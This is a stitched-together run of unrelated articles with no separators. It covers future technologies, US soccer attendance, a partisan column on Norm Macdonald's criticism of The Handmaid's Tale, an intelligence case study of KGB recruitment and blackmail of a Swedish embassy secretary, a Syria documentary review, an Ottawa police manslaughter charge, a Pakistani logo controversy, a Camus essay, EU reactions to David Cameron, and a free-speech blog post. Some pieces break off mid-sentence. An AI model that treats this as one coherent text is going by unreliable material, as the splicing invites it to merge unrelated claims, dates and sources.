No longer will there be those early mornings where you are so tired you nearly rear-end the car in front of you. No more having people shake you awake on long drives. You can actually use this time productively and did you know that North Americans Spend on average 15 Hours a Week in Their Cars. (Maclean’s February 27, 2006)
One landmark study on highway safety, determined that 369 269 Americans were killed between 2001 and 2009 by motor vehicles. More tragic then the number itself was the fact that 93 per cent of those cases were most likely by caused human error. Regardless of what company releases self-driving cars first, it should make a big decrease in the amount of people injured each year by vehicles. The lives that have already been lost are a tragedy but at least now a potential solution emerges.
3. Biotech: Printing Organs by 2017
Image source: http://online.wsj.com/article/SB10000872396390443816804578002101200151098.html
The process of waiting for an organ donor is currently pretty morbid because if you receive one, it means someone else has had to give theirs up. Even worse, there may be no available organ to transplant in the limited time and then lives are at stake. Now, with 3D organ printing we may finally be able to match the growing demand for supplementary organs.
Bioprinting, is similar to ink printing on a page. Only it is not on a page but 3D and not with ink but living cells. Alright so it’s a little more complex but you get the picture. Of the technologies on the page, this one has some of the most research already in progress.
Wall Street Journal: “It allows us to print a tissue structure that is a functional, living, human tissue,” says Organovo Chief Executive Keith Murphy.
Organovo doesn’t sell them yet, but keeps the equipment for its own product development projects. It does share them with other researchers through partnerships with Pfizer Inc., United Therapeutics Corp., and Harvard Medical School, among others. Mr. Murphy declined to disclose the details of these arrangements or say what bioprinted cell products were in development.
The programmable printer has laser-guided printing nozzles that can extrude inks composed of different cell mixtures. In each drop of ink is a solution that contains about 10,000 to 30,000 cells. The bio-ink is a mix usually cultured from stem cells taken from a donor’s bone marrow or fat. Those cells can then be grown into the many different cell types necessary for tissues.
“You use building blocks of cells to make a 3-D structure, almost like building something out of Legos,” Mr. Murphy says. “The cells do all the finishing touches themselves.”
4. Energy: Space-based solar power by 2040 to 2050
Image source: http://www.nss.org/settlement/ssp/
The search for a long-term sustainable energy source has been going on forever and now we may have an answer. Although currently unattainable, much research has been done into discovering whether we can harness energy from space via solar collectors and beam it back to earth in the form of microwave rays which satellites will receive and convert to electric energy for the grid. Solar power on earth is subject to the constant changing from day to night as well as covering large portions of real estate. From space it would be gathering energy 24/7 and could solve the impeding global energy crisis.
Geek.com: “After conducting a three-year study, the IAA says that the technology exists to make beaming the energy down to collectors on the surface a reality. This model is ideal because space-based satellites won’t have to deal with weather, atmosphere, and other obstacles that hinder the collection of solar energy. It would also cut down on fossil fuel emissions since solar is “clean” energy.”
5. Geo-Engineering: Vertical Farms by 2026
Image source: http://webecoist.momtastic.com/2010/01/13/3d-farming-26-vertical-farms-and-green-skyscrapers/
A vertical farm is usually a converted skyscraper where each floor grows a different crop and all the water and nutrients are recycled to be used again. This concept cuts out the need to transport your agricultural products overlong-distances by providing farms to high-density urban areas. Also in an era where processed food are reigning supreme, it would be good to give local residents easier access to a healthy option when it comes to their daily diet.
Wall Street Journal: “One ambitious project under construction is trying to address all of those challenges at once. At 12 stories, the triangular farm in Linköping, Sweden, will be one of the tallest vertical farms in the world—most max out at several stories—and will use innovative ways to generate revenue. Not only will the company behind the farm, Sweden’s Plantagon, sell its produce at a local farmer’s market, but it also will lease out office space on most floors.”
AdvertisementsTAMPA, FL (October 8, 2017) – The United Soccer League surpassed an attendance of two million fans for the 2017 season on Sunday night. This comes in a year when the league continues to set new records in attendance in many aspects.
USL Attendance Reaches Two Million For 2017 Season
2,⚽⚽⚽,⚽⚽⚽ The #USL has become the first-second division in North American history to surpass the attendance mark. Thank you fans! pic.twitter.com/MXtspn0XgE — USL (@USL) October 8, 2017
This milestone comes on a weekend of several teams having well attended games. Real Monarchs SLC hosted a game at Rio Tinto Stadium, setting a season-high attendance result of 8,402. Louisville City FC and San Antonio FC had an attendance of over 7,000 each.
LA Galaxy II, Phoenix Rising FC, and Saint Louis FC all had sell out home games as well. With this past weekend’s game, Ottawa Fury FC set a season record of over 100,000 in attendance, a record for the club. This accomplishment comes with USL overall attendance trending 33% up from the 2016 numbers.
USL President Jake Edwards spoke on the major accomplishment: “The remarkable passion shown by our fans has been a wonder to behold throughout this season, and has helped the league make history yet again this weekend. The USL’s growth over the past three years, which has seen our average attendance first break the one million-mark two years ago, then quickly surpass the two million-mark this year, is a testament to the raised standards the league has implemented and the outstanding level of competition we see on the field week-in and week-out.
“In addition to the outstanding fans across the United States and Canada that have pushed us past this mark, I’d also like to pay tribute to our world-class ownership groups that have made this growth possible. We are incredibly proud of everything the league and its clubs have already accomplished this year with the excitement of the 2017 USL Cup Playoffs still to come.”
The USL has 17 games this coming week to end the regular season. The quarterfinals for both the Eastern and Western Conference will begin between October 20-22.Remember that overrated 1980s feminist dystopian novel, The Handmaid’s Tale, that you were supposed to think was a profound critique of the patriarchy and a "chilling" vision of a not-so-alternative reality? Well, it's back as a television series that the Left is hyping as a "timely" vision in the era of Ultra-MisogynistBigotedHitlerianXenophobe Donald Trump. But one person who is clearly not a huge fan of Margaret Atwood's book is the inimitable Norm MacDonald, who weighed in on the novel on Twitter in a way that only he can do.
In response to an interview with Atwood about her resurrected novel, in which the interviewer and author tried to tie it to the era of Trump, MacDonald offered up some thoughts on the "sub-par piece of science-fi trash" in a series of tweets.
Rather than Atwood celebrating her "cheap, dystopian" book as "timely," said MacDonald, the author should be "apologizing for her execrable prose." As for the supposed relevance of the "deeply paranoid feminist vision," the comedian dismissed the claim as just a "cynical cash-grab."
Here's what he wrote, in paragraph form (tweets below):
I've just read an incredible article where "The Handmaid's Tale", a sub-par piece of science-fi trash, is defended by its author. The author, who rightly should be apologizing for her execrable prose, not only defends it but calls it "timely". The book has been made in to some sort of cable mini-series. I'm Canadian, so had to suffer through this book as a young person. It's one of those cheap, dystopian tracts. The difference with this one is it has a deeply paranoid feminist look into the future. The story is as impossible as most of these " frightening looks into the future". But to call it timely, when the possibility of this fiction ever becoming fact even more of a joke, is just a cynical cash-grab.
I've just read an incredible article where "The Handmaid's Tale", a sub-par piece of science-fi trash, is defended by its author. — Norm Macdonald (@normmacdonald) April 26, 2017
The author, who rightly should be apologizing for her execrable prose, not only defends it but calls it "timely". — Norm Macdonald (@normmacdonald) April 26, 2017
The book has been made in to some sort of cable mini-series. — Norm Macdonald (@normmacdonald) April 26, 2017
I'm Canadian, so had to suffer through this book as a young person. It's one of those cheap, dystopian tracts. — Norm Macdonald (@normmacdonald) April 26, 2017
The difference with this one is it has a deeply paranoid feminist look into the future. — Norm |
allegedly from the Patriarch's museum. Oleg told her he would not come to the airport to see her off because he was too upset about her departure. Birgitta departed Moscow by air for Sweden on August 18, 1964.
Between 18 August and 30 September 1964, Birgitta was on leave in Sweden. She sent Oleg several post cards to his office address and signed her name as "Juliana Michelovna." It is not clear why she did not use the address Andre gave her. Probably she was under the impression that by not doing so, she could ensure the privacy of her letters to Oleg.
On 30 September 1964, Birgitta arrived in Algiers and took up her duties as secretary to the ambassador. She moved into a small apartment in the Swedish compound and bought a Citroen. Through another Swedish Embassy secretary, whose mother was Russian, Birgitta met a Russian émigré family, the Vinogradovs, who lived nearby. Birgitta enjoyed visiting this family, with whom she spoke Russian and talked about Russian art and culture. She sent Oleg several letters through the Swedish diplomatic pouch, in care of a girl friend at the Swedish Embassy in Moscow who delivered the letters to Oleg at his office. In Algiers, Birgitta became friendly with another Swede who was married. However, it was a platonic relationship, apparently because he wished it to be so. Birgitta received no mail from Oleg.
On 30 November 1965, more than a year after her arrival in Algiers, Birgitta went to visit the Vinogradov family. As she was parking her car another automobile with two men in it pulled up immediately behind her. One of them got out and came over to her car, opened the door and got in. It was Andre. Birgitta was very surprised to see him and asked how he had found her. He said, " I saw you driving by and I never forget people I like." They made a date for dinner on 4 December.
Andre picked Birgitta up at a prearranged place near her apartment in a taxi and they went to a restaurant. He gave her some presents from Oleg, a letter from Oleg, three photographs of Oleg and an antique wine carafe. Andre was concerned about whether Birgitta knew anyone in the restaurant and was relieved when she said she didn't. After they had dined, Andre asked her the names of the personnel at the Swedish Embassy in Algeria and about their former posts. She gave him as much information as she could remember, later explaining that none of this information was secret. During this part of the conversation Andre took notes. This was the first time he had ever done so.
On 8 December Andre phoned Birgitta at her apartment and asked her to have dinner with him again. In the restaurant he gave her a present, an egg-shaped cut stone allegedly from the Ural Mountains possessing some religious significance. He also gave her an expensive jewel box. Andre said he was unable to eat much because he was suffering from a stomach ailment, so the meeting was very short. No business was discussed during the meeting and Andre said he would phone later.
On 11 December Andre again took Birgitta to dinner. This time he arrived in a grey Simca driven by a stranger whom he introduced as, "My good friend, Vladilen." Andre said that in the future Birgitta would maintain contact with Vladilen because he had to leave Algiers in a few days. Birgitta was agreeable to this arrangement. During dinner Andre gave her a bottle of vodka and two cans of caviar. In turn she gave him a bottle of Martel cognac, following a pattern she had established while in Moscow. After they finished dinner, Andre said, "I haven't had time to buy you an appropriate gift, so please give me your handbag." He placed an envelope in the bag and returned it to her. Andre said that he would be leaving Algiers soon and assured Birgitta that Vladilen was an interesting man, an engineer by training. Andre stressed that he had to go to Tunisia and asked Birgitta to give Vladilen her phone number, which she did. Vladilen appeared to be reluctant to take it, or at least gave the impression that he didn't know what he was supposed to do with it. Birgitta did not believe that he was a member of the KGB because he did not press her for information, and did not appear to know anything of her background. In any event, they had nothing in common to discuss.
Vladilen phoned Birgitta at her apartment on 15 December and made arrangements to pick her up for dinner that evening at the place where Andre had met her. Vladilen seemed to have difficulty adjusting to Birgitta and near the end of the meal he suddenly blurted, "Give me a list of all the Swedish people in Algiers." Birgitta answered that she didn't know many people but he persisted and said for her to bring the list to their next meeting. When Birgitta asked why such a list was needed, Vladilen answered that it was for her own security, that he wanted to check the names to see if any Swedish intelligence people were on it. Birgitta told him he could get such a list by writing to the Swedish Embassy and asking for it. He became confused and said that he couldn't do that. Apparently disturbed at the way the meeting was going, Vladilen decided to take Birgitta home. He dropped her off about 11 p.m. in the neighborhood of her apartment and told her he would phone her again.
On 19 December Birgitta received a phone call from Andre who said he was back from Tunisia and would like to see her. She said she was busy and asked him to call the next day. When Andre phoned again on 20 December Birgitta again said that she was too busy to see him, that she would like to but unfortunately she had too much to do at the embassy. This was the last time she spoke with Andre. She never saw or heard from him again.
On 27 December Vladilen phoned Birgitta and she agreed to meet him at the usual place. By this time she had made up her mind to break off the contact. She wrote a note in Russian in which she said she did not enjoy Vladilen's small dinner parties nor the indiscreet questions which followed and that she did not want to see him again. Vladilen read the letter and seemed to be both impressed and embarrassed and said, "Help me please, and go to a restaurant with me." When she refused he demanded that she give him a list of the members of the Swedish colony in Algeria. She refused to discuss it and told Vladilen that he had read her letter and should understand that she did not want to see him again. She left him standing on the street. The meeting had lasted ten minutes.
About three weeks later Vladilen phoned Birgitta at her apartment and said that he would like to see her about the letter she had given him at their last meeting. Birgitta agreed to meet him, mainly because she wanted to see if any mention of Oleg would be made at this time. Vladilen invited her to dinner in a restaurant but she refused to go. She had the impression that he was afraid and didn't know what to do next. He told her he had sent the note she had given him to Andre and that Andre had been very surprised. Vladilen then asked her in Andre's name to give him a list of her close Swedish friends so that he could check it for persons dangerous to her security. She again refused and told him to ask the embassy. He then asked if she would give him a report about Swedish technological and economic assistance to Africa which she also refused to do. He asked for copies of correspondence which she had access to and was again refused. Every refusal by Birgitta brought a warning from Vladilen that he would inform Andre. Before they parted, Vladilen pleaded for her help and cooperation, and when she continued to refuse he told her goodby on the street.
By this time Birgitta had informed her platonic Swedish friend of her troubles with the Soviets. He told her not to worry, that they would eventually drop the case. There is reason to believe that Birgitta had transferred some of her affection from Oleg to her new male friend, but apparently he did not wish to enter into a liaison with her.
Birgitta met Vladilen again on 18 February 1966 only because he told her he had a letter from Andre. While they were dining Vladilen handed her the following letter which was written in English.
Dear Juliana, I am very surprised and disappointed with what Vladilen has written concerning your behavior. I don't understand your attitude in view of your excellent help in the past, especially in translating articles concerning Indonesia, the information about the Swedish Embassy personnel in Moscow, the excellent information concerning the Intelligence Section in the Ministry of Foreign Affairs and the information concerning Swedish Embassy employees in Algeria. Your information was of great help to me in my work, and I expect you to answer all of Vladilen's questions. If you are unwilling to cooperate, I will then send all the material I have regarding you to Vladilen. You understand quite well what Vladilen will do with this, and that as a result you will be in a very awkward situation.
The letter did not mention Oleg. After reading it, Birgitta asked Vladilen if she could keep it but he said no and told her to give it back to him. She said she would have to have time to think over what to do and explained that at the moment she was upset because her mother in Sweden was ill, which was true, and that she might have to go home. She asked Vladilen not to press her for an answer but to phone her around the end of February. If she was not at home it meant that she was in Sweden and he should call her later. She promised not to discuss her situation with anyone.
Following this meeting with Vladilen, Birgitta could no longer stand the strain of her mother's illness in addition to her own problems with Vladilen and Andre, and phoned one of her colleagues in the Ministry of Foreign Affairs in Sweden to ask for help. The ministry turned the case over to the Swedish security service.
Birgitta was recalled to Sweden for an interview with the service on 27 February 1966 and remained there until 29 February. Arrangements were made for her to return to Algeria to close her apartment and return home permanently.
On 9 March 1966 Vladilen phoned Birgitta at her apartment at 7:15 a.m. in Algiers and asked to see her, saying he had phoned a hundred times before. She told him she would be unable to see him before 20 March because of the pressure of her work, knowing that she would leave Algiers on 19 March. However, she had prepared a letter for Andre which she had planned to give to Vladilen but the Swedish service forbade her to do so. In the letter she had written that she still considered Andre her friend.
Birgitta returned to Sweden 19 March 1966, and was assigned, pending further investigation, to a non-sensitive position in the Ministry of Foreign Affairs.
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Epilogue
The Swedish security service described Birgitta as a 52 year old woman who looks about 6(? years old, but who believes she has the charm and beauty of a young girl. She told one of the representatives of the service that she was like a young woman of 25, and she believes it. She is easily attracted to men and falls in love with anyone who flatters her or gives her attention. She told one interviewer that she was still in love with Oleg and refused to believe he was an agent of the KGB. She asked that this be proved to her, and said that she would leave for Switzerland on a moment's notice to meet him if she knew he was there. The fact that Oleg is 16 years her junior does not appear to her to be unreasonable or cause for concern.
In the opinion of the Swedish service, Birgitta gave them a selfserving account of her relationship with the KGB and of the information she passed to them. Certainly any reckoning of the time, money, and personnel invested in her by the Soviets indicates that they must have received information of far greater value than she has indicated.
Altogether she had about 100 meetings with Oleg in Moscow, about 16 meetings with Andre in KGB safehouses in Moscow, and five meetings with Vladilen in Algiers. To date, no attempt has been made by the Soviets to recontact her since her return to Sweden.
Birgitta's handling by Andre reflected a shrewd knowledge of her character. He catered to her love for fine things, presented her with gifts of "new icons" described to her as antiques, exploited her fondness for gourmet meals, resplendent furnishings and good manners. In contrast, Vladilen's lack of assurance and poor manners repelled her and had much to do with her decision to end the affair. This case illustrates KGB technique at its best and worst. It also exemplifies a very sophisticated maneuver in which blackmail was applied in a backhanded way, deliberately causing the culprit to feel a moral obligation to "protect" the person who was actually primarily responsible for her troubles.2
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BIBLIOGRAPHY
1 True names, dates, and some nationalities have been altered.
2 For an account of another fairly recent episode illustrative of KGB techniques, see Cdr. Arthur Courtney's Sailor in a Russian Frame, London (Johnson) 1968, reviewed in Studies XIII 1, p. 87 ff.
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SECRET
No Foreign DissemThe conflict began six years ago with a peaceful uprising — hundreds of thousands of people demanding democratic reforms only to be met by pro-government thugs and a sniper’s bullets. What’s known about Syria is it’s the place where refugees come from, and where terrorists now live, Syrians themselves serving only as b-roll footage for a non-Syrian expert.
HBO
A remarkable thing about director Evgeny Afineevsky’s new documentary, "Cries From Syria," is that not only does it put in historical context a people’s struggle more often reduced to numbers — 11 million displaced and half-a-million dead — but it lets Syrians do this themselves. The result is that when it premieres March 13 on HBO, those watching “Cries From Syria” won’t be presented with crusty old men with a few pithy lines of received geopolitics, but those who took part in a revolution-turned-civil war sharing their own stories of resistance and survival.
Many featured in the film were just children in 2011, when mass protests broke out across the Middle East and North Africa. Their youth has been spent watching their country’s hereditary dictator have his security forces, backed by Russian bombs and Iranian militias, follow through on a threat: “Bashar al-Assad or we burn the country.” The promise of revolution, meanwhile, has been destroyed not just by barrel bombs, but betrayed by the rise of extremists, some released by the regime at the same time it arrested, tortured, and killed pro-democracy protesters en masse; once freed, these extremists effectively continued the regime’s work under the guise of Islam.
That’s context that often doesn’t make it to cable news.
“We have a lack of knowledge — a lack of simple, basic knowledge about the history, and specifically about the dark side of Syrian history,” Afineevsky said during an interview at ATTN:’s office in Los Angeles. “People don’t have any clue about these things,” he said. “We fear Syrians. We fear Islamic people — [at least] we fear them in [the] West. But do we know of anything about them?”
He didn’t set out to make this particular movie, but once he got started he realized no movie could be made without turning to the source material.
“My initial idea was to do a story about refugees in the European Union,” Afineevsky said. “And I realized that the answer isn’t there — the answer is not in the European Union.”
The answer was in Syria, with Syrians, who are the only ones who speak in this movie about their country.
“I think we as filmmakers today have a responsibility and obligation to go learn the stories, meet the people, learn about them, investigate, and put it in a comprehensive story,” he said. “It was absolutely my decision to go after the icons of the revolution, who’d been there, who can tell their story, who witnessed the atrocities. I needed the firsthand accounts that I collected to tell this story and bring it to the world.”
HBO
With one of the youngest populations at the start of the war, the median age just 21 (compared to 29 for the world), it figures that many of these featured in the documentary are children.
“It started from them,” he said. The documentary early on notes the March 2011 arrest of over a dozen kids in Daraa — a small working-class city home to thousands displaced by drought and neoliberal economics — over their anti-regime graffiti: “Doctor, You’re Next.” (Bashar al-Assad was trained as an ophthalmologist in London, but his father chose a different career path for him.) Those children were tortured, spurring protests that eventually spiraled into a massacre by the government, which killed hundreds well before the Syrian opposition took up arms in any organized fashion.
“War was never our choice," one activist in the film says. "We were forced into war.” And the cataclysm of war has brought with it all the evils humanity has to offer, including the threat not just from the state and its allies, but extremists affiliated with al-Qaeda and the Islamic State, who the documentary shows kidnapped and tortured revolutionaries just like the regime.
Afineevsky said he met refugee children who had been “brainwashed” by these groups.
“They’re the easiest target,” he said. “And they’re the easiest to become a terrorist because you know what? They need to survive and they don’t have a choice. And the brainwashing system — the brainwashing machine — of the fundamental religious radical groups is amazing.”
Children, then, are both “the heroes and the victims” of Syria’s war, but Afineevsky said it’s not all a story of loss and despair. “I met a lot of kids who were orphans,” he said, “all of them still dreaming about Syria. They’re still believing they will rebuild Syria.”
HBO
First, the war must end. And most refugees say for that to really happen — for the root of the conflict to be addressed and for them to return — the man who started it all, Bashar al-Assad (“responsible for the majority of the civilian casualties,” according to the United Nations) must go. In that respect, the film counters a mainstream focus on bearded extremists and their self-styled caliphate, the target of more than two years of U.S. airstrikes, by making the point that some butchers wear suits to work.
As one mother dryly recounts after receiving her daughter’s corpse, recovered from a school bombed by the Assad regime: “She came with a different foot from another body.”
Why bother caring, though? It is, after all, over there, far removed from the daily lives of most people in the United States with problems of their own to worry about. Afineevsky, born and raised in Russia, has an answer: It could happen here — and this documentary shows that all authoritarians rely on the same playbook.
CNN/Reuters
He pointed to the mass protests against President Donald Trump, whose participants are labeled by the commander-in-chief as the agents of shadowy interests. And look at one of the causes: his legally challenged executive order banning refugees from Syria.
“You’re learning what can be the consequences of allowing a dictator to be a dictator,” he commented. Truth as an objective value to be upheld is discarded by a head of state who purports to be under siege from the people, while having all the best weapons.
“The main thing for me… is to reevaluate what we have now,” Afineevsky said, “and to cherish things — not to take things for granted, and to fight for what we have now.”
If his movie demonstrates anything, he said, it’s that freedoms lost aren’t so easily regained.This article is over 1 year old
Daniel Montsion charged in relation to incident last year in which Abdirahman Abdi died after arrest in Ottawa, where witnesses said he was beaten by officers
A Canadian police officer has been charged with manslaughter for the death of a mentally ill black man following an arrest last year in Ottawa, the provincial police watchdog agency said on Monday.
Ontario police face inquiry into beating death of mentally ill black man Read more
The Special Investigations Unit (SIU) said in a statement it has laid charges against Ottawa police service constable Daniel Montsion, 36, in relation to the death of Abdirahman Abdi, who was of Somali descent.
Abdi, 37, died in July last year after being hospitalized in critical condition following his arrest. Witnesses told local media he was beaten by Ottawa police officers who responded to calls of a disturbance.
Abdi’s death echoed a string of high-profile killings of black men by police in the US, where such incidents and allegations of brutality and racial bias have sparked public outrage.
The man’s brother then told the Canadian Broadcasting Corp that Abdi had been “sick” and rarely spoke to other people, while other media reports have said he may have been on the autism spectrum.
The death sparked protests in Canada, a country that prides itself on its tolerance.
Montsion was also charged with aggravated assault and assault with weapon, according to the SIU.
Ottawa’s police chief, Charles Bordeleau, said in a statement: “It is important that we remain patient and respectful of the judicial process,” and that Montsion “deserves to be treated fairly”.
Abdi’s death has been “difficult” for police officers as well, Bordeleau said.Pakistan will celebrate the 70th anniversary of independence this year. As part of the celebrations, a competition was held by the government to unveil the official logo for the historic milestone.
The competition ‘Mein Hun Pakistan’ (I am Pakistan) received from four hundred entries from 200 participants from across the country.
The winner was announced in a ceremony held on July 14, which was attended by Minister of State for Information Marriyum Aurangzeb and Minister for Railways Khawaja Saad Rafique.
The state minister said the purpose of the competition was to create awareness among the new generation regarding the importance of sacrifices made by our forefathers in the creation of a separate homeland.
The logo has a colourful crescent and star overlapping the number 70, and reflects the “theme of celebrations and promotion of the cultural diversity of the country.”
The winner, Saba Zaman, is third year student at the at National University of Sciences and Technology (NUST) in Islamabad and won a prize of Rs500,000.
However, Saba has garnered criticism on social media. Many expressed disappointment over the lack of creativity and that she won the contest merely on good luck.
Some criticised that they wasted their live in graphic designing and others, while others said they only imagine what other logo looked like that the government was compelled to choose this one.
@pmln_org How is this even a #Logo?
I can do a way better one! and I don’t even Do it full-time!#PakistanZindabad #Pakistan🇵🇰 pic.twitter.com/i9aGJez9ld — Zohair Allibhoy (@allibhoyzohair) July 19, 2017
Out of 400 entries, Minister like Maryam Aurangzeb selected this one as our 70 years independence day logo. Not good.#PakistanZindabad pic.twitter.com/mbHpwV4wCj — kamran syed (@kamran2513) July 18, 2017
And this is what they came out with?! pic.twitter.com/JQ5ziovq8J — Durriyah Rehman (@durriyah_r) July 18, 2017
Marriyum Aurangzeb had said that 200 artists had submitted 400 entries to design the logo. pic.twitter.com/t3SK2UfOiM — The Brief (@thebriefintl) July 18, 2017
It’s not just the bad design, the thing that really grates me is that the crescent and star aren’t even in proper proportion. https://t.co/qxSzpjJ4wW — Rizla. (@RizWanKenobi_) July 19, 2017
Tbh that 70 years of independence logo looks like a half assed attempt like the designer herself didnt really expect to win — KarachiKiJaneAusten (@Aamphilosofine) July 18, 2017
why didn’t anyone tell me there was a shitty logo design competition i can design logos far shittier and uglier than this pic.twitter.com/2VJWdBMKK4 — mashable (@mashaallriaz) July 18, 2017
500,000 for this? THIS? Can’t believe these “artists” end up fooling so many, so easily. pic.twitter.com/cBS2rhcmkQ — Haris (@manlikewaddupp) July 18, 2017
The Official Logo of Pakistan’s 70 Years of Independence Celebration has Traumatized Every Pakistani! https://t.co/wtY710wcNi — Kinfolks (@TheKinfolks) July 19, 2017
Sabah also responded to all criticism on Facebook saying:
“Those who said they could have done a better job so let me tell you it was an open competition you could have applied and might have done much better than me for sure.
“Thanks for your criticism because it made me even stronger”
Comments
commentsAs fans and followers of Nobel Prize-winning writer and philosopher Albert Camus are celebrating the centennial of his birth today, people of many faiths and no faith at all do well to remember his legacy when it came to religion. Most importantly, as an unbeliever, Camus offers a powerful counter-example to the stridency and animus of the "new atheism" associated with Christopher Hitchens, Sam Harris, Richard Dawkins, and others. Indeed Camus makes us long for the days of the "old atheism" when religious people weren't mocked for their so-called irrational beliefs; bullied by the charge that "religion poisons everything"; and told to step aside while secularism sweeps clean the religious debris from public life.
To begin with, Camus was humble about his unbelief, recalling Benjamin Constant's caution that there is something "worn out" about being too intensely against religion. Camus freely admitted that he didn't believe in God, but he chose to speak "in the name of an ignorance that tries to negate nothing." In other words, his own lack of faith did not presume that others must be wrong about theirs -- certainly not in a way that he could prove with certainty. For this reason, he resisted "atheism," adopting instead the mantle of the "unbeliever" (incroyant).
One need not be religious, nevertheless, to appreciate how religion contributed constructively to civilization and contemporary life. As a young university student in French-Algeria, Camus completed a thesis exploring the relationship between Neo-Platonic and Christian metaphysics. A central figure in this study was St. Augustine whom, as a fellow Algerian, Camus held a great affinity. According to biographer Herbert Lottman, St. Augustine was, for Camus, "the 'bishop' of North African writers, whether believers or non-believers. Camus saw in this saint the artist with all the strengths and weaknesses of the 'African' Camus felt himself to be." Camus was especially taken by Augustine's searching inquiry into the problem of evil. Contrary to new atheists like Hitchens -- who suggests that religion is the carrier of plague -- Camus recognized that evil is a human problem. As Dr. Rieux remarked in Camus's superb novel The Plague, "each of us has the plague within him; no one, no one on earth is free from it." Camus, like Dr. Rieux, shared the same questions religious believers ask; he just couldn't accept their answers -- or their hope. He found consolation not in the faith of Job or the salvation of Christ but in Sisyphus: the prospect that, through rebellion and endurance, Sisyphus could be happy.
Interestingly, for all his focus on Sisyphus's solitary struggle, Camus believed that solidarity was born of rebellion. And the common moral problems that believers and unbelievers face together in political life -- the plague of Nazism, for example -- also requires them to work together (as Camus did editing the French Resistance newspaper Combat). In a famous talk delivered in a Dominican monastery in Paris, Camus extolled the importance of pursuing simultaneously cooperative engagement and respectful disagreement. "I shall not try to change anything that I think or anything that you think.... in order to reach a reconciliation that would be agreeable to all." Rather, he insisted, "the world needs real dialogue," which is only possible "between people who remain what they are and speak their minds. This is tantamount to saying that the world of today needs Christians who remain Christians." But Camus did not stop there. He went on to urge Christians to "speak out clearly" and "pay up personally" which too many Christians refused to do while Hitler overran Europe and sent millions of Jews to their deaths.Europe ’s East-West divisions were laid bare on Tuesday after David Cameron demanded Brussels give Britain the right to discriminate against EU migrants by refusing them in-work benefits for four years after they arrived in the UK.
Poland, Slovakia and the Czech Republic all reacted defensively to Mr Cameron’s demands which, if agreed to by Brussels, would discriminate against their citizens and run contrary to the principle of equal treatment enshrined in the EU treaties.
Witold Waszczykowski, Poland’s incoming foreign minister told The Telegraph, that the British move would be “humiliating” for Poles in the UK and could spark an arms-race of demands from other EU nations wanting special dispensations for themselves.
“We are not happy about any moves to segregate people according to where they come from,” he said, “If Cameron wants to divide people according to their nationality then that is against the free movement of labour and the treaty.”
Slovakia, which also has much to lose if Europe agrees to Mr Cameron's demands, said the issue was highly sensitive to Bratislava. “We cannot create two categories of EU citizens,” said Peter Javorcik, Slovakia’s ambassador to the EU.
The Czech Republic also agreed, with the country’s prime minister, Bohuslav Sobotka, saying Mr Cameron’s request to put limits on the freedom of movement in the EU posed “a serious problem for the Czech Republic”.
Photo: AFP
Of the four so-called Visegrad states – Hungary, Poland, Czech Republic and Slovakia, only Hungary did not openly come out against Mr Cameron’s proposals.
Hungarian diplomatic sources told The Telegraph that Budapest’s muted reaction reflected the strength of the relationship between Mr Cameron and Hungary’s fiercely conservative prime minister, Viktor Orban, who could yet prove a key ally in negotiations.
While there were no surprises in Mr Cameron’s demands – legal protections for non-euro countries, enhanced competitiveness and stronger powers for national parliaments – the demands on welfare reform were described as “highly problematic” by a European Commission spokesman.
Martin Schulz, the president of the European Parliament, went further, saying that he had “strong doubts about the legality of the four-year ban on access to welfare benefits for EU citizens” but would wait to see what specific proposals were made by London.
However while the eastern countries protested, major EU powers including Germany, France and Italy took a more conciliatory response, noting that Mr Cameron had not ruled out accepting alternatives to meet his agenda to reduce incentives for EU workers to come to Britain.
Angela Merkel, the German chancellor, said she had spoken with Mr Cameron on Monday and was not surprised by his demands, adding she was “confident” the issues could be resolved.
Photo: Rex
“We want to take a solution-based approach to these demands. There are some that are difficult, and some that are less difficult. But if you have a willingness to solve this then I am confident we can resolve it,” she said.
France did not respond publicly to the speech, but a French diplomatic source told The Telegraph that they also saw “no surprises” in the demands, also noting that Mr Cameron had left the door ajar to find solutions that would curb access to benefits without breaching treaties.
Italy, which had offered to collaborate with Britain on a scheme to convince other EU nations to accept that non-Eurozone countries must be given a new legal status, is also supportive of UK demands and keen to see a rapid conclusion to negotiations.
Denmark, which is perhaps the strongest UK supporter in Europe, said Mr Cameron’s desire to balance the right to free movement with protecting their own welfare systems was “an agenda Denmark can also identify with”.
@David_Cameron Good basis for concrete negotiations. It will be difficult. I hope we will succeed because we need a strong UK in EU. #dkpol — Lars Løkke Rasmussen (@larsloekke) November 10, 2015
Only Spain pointed to the larger fear that – whatever the result of the negotiation - eurosceptic sentiment in Britain could see the world’s fifth largest economy leave the EU at a time when the union is already reeling from the migrant crisis, Russian aggression and yawning structural flaws in the euro.
“There is a real risk that the United Kingdom will leave the European Union,” said José Manuel García-Margallo, the Spanish foreign minister, warning that British eurosceptics were now in a majority amid generalised criticism of austerity policies.
After a British exit, the minister said that the remaining EU members should work together toward greater unity, asking for a “giant leap forward in terms of federation of the 19 [Eurozone] countries”.
With Mr Cameron’s speech now firing the starting-gun on substantive negotiations, analysts said the crunch will come between the concerns of objecting countries in eastern and central Europe and the determination of core EU powers – France, Germany and Italy – to prevent a Brexit.
Mujtaba Rahman, head of practice at the Eurasia Group, a leading risk consultancy, predicted that it was unlikely that smaller objecting countries would prevent a deal being reached, with the EU ultimately accepting some form of implicit discrimination on welfare.
“All these smaller states value the UK as a liberal economic ally in the face of German and French protectionism.” he said, “This isn’t about narrow political economy, but about broader EU geopolitics. In the end, they will look at the bigger picture.”
Additional reporting: Matthew Holehouse in Brussels, Matthew Day in Warsaw, James Badcock in Madrid, Henry Samuel in Paris, Justin Huggler in Berlin, Richard Orange in Malmo and Nick Squires in Rome.This is a story about dentists, legal threats, and pro-bono badassery.
What the hell is the deal with censorious dentists?
There's this guy. Let's call him Bob. Bob's wife had a bad experience at a dentist. Bob set up a site complaining about the dentist. Bob learned, in this process, that the dentist had a history of threatening negative Yelp reviewers with bogus lawsuits.
There's a bad lawyer. Let's call her Bogus Betty. The dentist hired Bogus Betty, and Bogus Betty filed an application for a temporary restraining order and injunction under California's harassment law against Bob, under the theory that a gripe site about a dentist is dangerous harassment that requires a restraining order. This is the law that you use to keep your abusive ex from showing up at your door with a baseball bat, or your nutty former employee from crank-calling you 80 times a day.
Bob wasn't threatening or harassing the dentist. Bob made a web site critical of the dentist.
Bob needed help, very fast. I put out a request. The thoroughly awesome David Casey stepped up. Dave's in San Diego and Bogus Betty filed in LA County, but Dave stepped up anyway, because he believes in free speech.
